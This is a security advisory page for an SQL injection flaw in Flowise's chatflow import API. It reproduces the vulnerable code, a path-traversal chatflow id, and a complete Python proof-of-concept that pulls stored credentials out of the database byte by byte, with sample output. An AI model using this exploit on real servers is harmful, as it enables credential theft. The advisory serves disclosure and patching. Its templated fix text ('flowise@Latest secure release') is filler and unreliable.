CVE-2025-71332: Flowise SQL Injection Vulnerability
MODERATE
Advisory Identifier:
GHSA-9c4c-g95m-c8cp
Advisory Summary
CVE-2025-71332 is a MODERATE (CVSS 5.9) sql injection vulnerability (CWE-564: SQL Injection: Hibernate) affecting Flowise libraries in the npm ecosystem. The issue involves flowisedb vulnerable to sql injection by authenticated users. Remediation is available in the latest vendor maintenance releases.
CVE-2025-71332 at a Glance
CVE Identifier
CVE-2025-71332
GHSA Identifier
GHSA-9c4c-g95m-c8cp
Severity
MODERATE
CVSS v3.1 Base Score
5.9
CWE Classification
CWE-564: SQL Injection: Hibernate
Affected Product
Flowise
Package Ecosystem
npm
Published Date
Last Updated
Security Impact
CVSS: 5.9
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L).
Attack Vector
Network (AV:N)
Attack Complexity
Low (AC:L)
Privileges Required
High (PR:H)
User Interaction
Required (UI:R)
Scope
Changed (S:C)
Confidentiality
Low (C:L)
Integrity
Low (I:L)
Availability
Low (A:L)
How to Fix CVE-2025-71332
To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
flowise
fixed: Latest secure release
npm install flowise@Latest secure release
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls flowiseHow to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-71332, inspect your project dependencies using npm:
npm ls flowiseAnalyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: The npm ls flowise command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-564: SQL Injection: Hibernate, where using hibernate to execute a dynamic sql statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary sql commands. In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
### Summary
import functions are vulnerable.
* [importChatflows](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/chatflows/index.ts#L219)
* [importTools](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/tools/index.ts#L85)
* [importVariables](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/variables/index.ts)
### Details
**Authenticated user** can call importChatflows API, import json file such as `AllChatflows.json`.
but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.
**Issue 1 (Bug Type)**
1. Malicious user creates `AllChatflows.json` file by adding `../` and arbitrary path to the chatflow.id of the json file.
```json
{
"Chatflows": [
{
"id": "../../../../../../apikey",
"name": "clickme",
"flowData": "{}"
}
]
}
```
2. Victim download this file, and import this to flowise.
3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.
**Issue 2 (Vulnerability Type)**
importChatflows API use unsafe SQL Query.
```javascript
// packages/server/src/services/chatflows/index.ts
const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => {
try {
const appServer = getRunningExpressApp()
// step 1 - check whether file chatflows array is zero
if (newChatflows.length == 0) return
// step 2 - check whether ids are duplicate in database
let ids = '('
let count: number = 0
const lastCount = newChatflows.length - 1
newChatflows.forEach((newChatflow) => {
ids += `'${newChatflow.id}'` // <===== user input
if (lastCount != count) ids += ','
if (lastCount == count) ids += ')'
count += 1
})
const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)
.createQueryBuilder('cf')
.select('cf.id')
.where(`cf.id IN ${ids}`) // <===== here
.getMany()
const foundIds = selectResponse.map((response) => {
return response.id
})
```
It changes like `SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}')` by the code above.
When `') {Malicious SQL Query} --` is passed to newChatflow.id, SQL Injection occurs.
### PoC
```python
import argparse
import requests
def import_chatflows(
url: str,
token: str,
payload: dict
):
response = requests.post(
f'{url}/api/v1/chatflows/importchatflows',
headers={
'Authorization': f'Bearer {token}'
# 'Authorization': f'Basic {token}'
},
json=payload
)
return response.json()
def import_normal_data(
api_url: str,
token: str,
normal_data: str
):
data_id = 'aaaaaa'
payload = {
"Chatflows": [
{
"id": data_id,
"name": normal_data,
"flowData": "{}"
}
]
}
import_chatflows(
url=api_url,
token=token,
payload=payload
)
return data_id
def get_character(
api_url: str,
token: str,
data_id: str,
column_name: str,
index: int
):
injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'
def create_payload(
c: int
):
return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "
chatflows_json = {
"Chatflows": [
{
"id": "",
"name": data_id,
"flowData": "{}"
}
]
}
bitbox = [
64, 32, 16, 8, 4, 2, 1
]
character = 0
for bit in bitbox:
payload = create_payload(c=character + bit)
chatflows_json['Chatflows'][0]['id'] = payload
res = import_chatflows(
url=api_url,
token=token,
payload=chatflows_json
)
if 'DOUBLE value is out of range' in res['message']:
# character is more then bit
character += bit
else:
# character is less then bit
character += 0
return chr(character)
def get_length(
api_url: str,
token: str,
data_id: str,
column_name: str
):
injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)'
def create_payload(
c: int
):
return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "
chatflows_json = {
"Chatflows": [
{
"id": "",
"name": data_id,
"flowData": "{}"
}
]
}
column_len = 0
bitbox = [
256, 128, 64, 32, 16, 8, 4, 2, 1
]
for bit in bitbox:
payload = create_payload(c=column_len + bit)
chatflows_json['Chatflows'][0]['id'] = payload
res = import_chatflows(
url=api_url,
token=token,
payload=chatflows_json
)
if 'DOUBLE value is out of range' in res['message']:
# column_len is more then bit
column_len += bit
else:
# column_len is less then bit
column_len += 0
return column_len
def main(
url: str,
token: str
):
api_url = url
column_box = [
'credentialName',
'encryptedData'
]
data_id = import_normal_data(
api_url=api_url,
token=token,
normal_data='flow01'
)
for column_name in column_box:
column_len = get_length(
api_url=api_url,
token=token,
data_id=data_id,
column_name=column_name
)
print(f'[+] {column_name} length is {column_len}')
result = ''
for i in range(column_len):
result += get_character(
api_url=api_url,
token=token,
data_id=data_id,
column_name=column_name,
index=i + 1
)
print(f'[+] {column_name}: {result}')
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument(
'--url',
type=str,
default='http://flowise:3000'
)
parser.add_argument(
'--access',
type=str,
required=True,
help='Get from http://flowise:3000/apikey'
)
m_args = parser.parse_args()
main(
url=m_args.url,
token=m_args.access
)
```
**poc results: encryptedData from flowise database credential table was successfully leaked.**
```
/app # python ex2.py --url http://flowise:3000 --access "blahblah~~~"
[+] credentialName length is 9
[+] credentialName: openAIApi
[+] encryptedData length is 88
[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==
```
It is recommended to limit all chatflow ids & chat ids to UUID.
### Impact
* Database leak
* Lateral Movement
CVE-2025-71332 Affected Flowise Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
flowise
|
npm |
≤ 2.2.7
|
|
References
Frequently Asked Questions
What is CVE-2025-71332?
CVE-2025-71332 is a security vulnerability in Flowise involving FlowiseDB vulnerable to SQL Injection by authenticated users under CWE-564: SQL Injection: Hibernate.
Which Flowise versions are affected?
Affected versions include releases prior to current release patches across affected packages: flowise.
What version fixes CVE-2025-71332?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is flowise affected?
Yes, flowise is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2025-71332?
CVE-2025-71332 has a CVSS v3.1 base score of 5.9 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L.
What CWE is associated with CVE-2025-71332?
CVE-2025-71332 is classified under CWE-564: SQL Injection: Hibernate (Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.).
How can I check npm dependencies for CVE-2025-71332?
Run the dependency tree command: 'npm ls flowise'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-9c4c-g95m-c8cp",
"modified" : "2026-06-24T13:01:22Z",
"published" : "2025-04-07T18:55:13Z",
"aliases" : [ "CVE-2025-71332" ],
"summary" : "FlowiseDB vulnerable to SQL Injection by authenticated users",
"details" : "### Summary\nimport functions are vulnerable.\n* [importChatflows](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/chatflows/index.ts#L219)\n* [importTools](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/tools/index.ts#L85)\n* [importVariables](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/variables/index.ts)\n\n### Details\n**Authenticated user** can call importChatflows API, import json file such as `AllChatflows.json`.\nbut Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.\n\n**Issue 1 (Bug Type)**\n1. Malicious user creates `AllChatflows.json` file by adding `../` and arbitrary path to the chatflow.id of the json file.\n ```json\n {\n \"Chatflows\": [\n {\n \"id\": \"../../../../../../apikey\",\n \"name\": \"clickme\",\n \"flowData\": \"{}\"\n }\n ]\n }\n ```\n2. Victim download this file, and import this to flowise.\n3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.\n\n**Issue 2 (Vulnerability Type)**\nimportChatflows API use unsafe SQL Query.\n\n```javascript\n// packages/server/src/services/chatflows/index.ts\nconst importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => {\n try {\n const appServer = getRunningExpressApp()\n\n // step 1 - check whether file chatflows array is zero\n if (newChatflows.length == 0) return\n\n // step 2 - check whether ids are duplicate in database\n let ids = '('\n let count: number = 0\n const lastCount = newChatflows.length - 1\n newChatflows.forEach((newChatflow) => {\n ids += `'${newChatflow.id}'` // <===== user input\n if (lastCount != count) ids += ','\n if (lastCount == count) ids += ')'\n count += 1\n })\n\n const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)\n .createQueryBuilder('cf')\n .select('cf.id')\n .where(`cf.id IN ${ids}`) // <===== here\n .getMany()\n const foundIds = selectResponse.map((response) => {\n return response.id\n })\n```\nIt changes like `SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}')` by the code above.\nWhen `') {Malicious SQL Query} --` is passed to newChatflow.id, SQL Injection occurs.\n\n### PoC\n```python\nimport argparse\nimport requests\n\n\ndef import_chatflows(\n url: str,\n token: str,\n payload: dict\n):\n response = requests.post(\n f'{url}/api/v1/chatflows/importchatflows',\n headers={\n 'Authorization': f'Bearer {token}'\n # 'Authorization': f'Basic {token}'\n },\n json=payload\n )\n\n return response.json()\n\n\ndef import_normal_data(\n api_url: str,\n token: str,\n normal_data: str\n):\n data_id = 'aaaaaa'\n\n payload = {\n \"Chatflows\": [\n {\n \"id\": data_id,\n \"name\": normal_data,\n \"flowData\": \"{}\"\n }\n ]\n }\n\n import_chatflows(\n url=api_url,\n token=token,\n payload=payload\n )\n return data_id\n\n\ndef get_character(\n api_url: str,\n token: str,\n data_id: str,\n column_name: str,\n index: int\n):\n injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'\n\n def create_payload(\n c: int\n ):\n return f\"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- \"\n\n chatflows_json = {\n \"Chatflows\": [\n {\n \"id\": \"\",\n \"name\": data_id,\n \"flowData\": \"{}\"\n }\n ]\n }\n\n bitbox = [\n 64, 32, 16, 8, 4, 2, 1\n ]\n character = 0\n for bit in bitbox:\n payload = create_payload(c=character + bit)\n chatflows_json['Chatflows'][0]['id'] = payload\n\n res = import_chatflows(\n url=api_url,\n token=token,\n payload=chatflows_json\n )\n if 'DOUBLE value is out of range' in res['message']:\n # character is more then bit\n character += bit\n else:\n # character is less then bit\n character += 0\n\n return chr(character)\n\n\ndef get_length(\n api_url: str,\n token: str,\n data_id: str,\n column_name: str\n):\n injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)'\n\n def create_payload(\n c: int\n ):\n return f\"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- \"\n\n chatflows_json = {\n \"Chatflows\": [\n {\n \"id\": \"\",\n \"name\": data_id,\n \"flowData\": \"{}\"\n }\n ]\n }\n\n column_len = 0\n bitbox = [\n 256, 128, 64, 32, 16, 8, 4, 2, 1\n ]\n for bit in bitbox:\n payload = create_payload(c=column_len + bit)\n chatflows_json['Chatflows'][0]['id'] = payload\n\n res = import_chatflows(\n url=api_url,\n token=token,\n payload=chatflows_json\n )\n if 'DOUBLE value is out of range' in res['message']:\n # column_len is more then bit\n column_len += bit\n else:\n # column_len is less then bit\n column_len += 0\n\n return column_len\n\n\ndef main(\n url: str,\n token: str\n):\n api_url = url\n\n column_box = [\n 'credentialName',\n 'encryptedData'\n ]\n\n data_id = import_normal_data(\n api_url=api_url,\n token=token,\n normal_data='flow01'\n )\n\n for column_name in column_box:\n column_len = get_length(\n api_url=api_url,\n token=token,\n data_id=data_id,\n column_name=column_name\n )\n\n print(f'[+] {column_name} length is {column_len}')\n\n result = ''\n for i in range(column_len):\n result += get_character(\n api_url=api_url,\n token=token,\n data_id=data_id,\n column_name=column_name,\n index=i + 1\n )\n\n print(f'[+] {column_name}: {result}')\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--url',\n type=str,\n default='http://flowise:3000'\n )\n parser.add_argument(\n '--access',\n type=str,\n required=True,\n help='Get from http://flowise:3000/apikey'\n )\n\n m_args = parser.parse_args()\n\n main(\n url=m_args.url,\n token=m_args.access\n )\n```\n\n**poc results: encryptedData from flowise database credential table was successfully leaked.**\n```\n/app # python ex2.py --url http://flowise:3000 --access \"blahblah~~~\"\n[+] credentialName length is 9\n[+] credentialName: openAIApi\n[+] encryptedData length is 88\n[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==\n```\n\nIt is recommended to limit all chatflow ids & chat ids to UUID.\n\n### Impact\n* Database leak\n* Lateral Movement",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "flowise"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "2.2.7"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9c4c-g95m-c8cp"
}, {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/pull/4226"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/FlowiseAI/Flowise"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-564" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2025-04-07T18:55:13Z",
"nvd_published_at" : null
}
}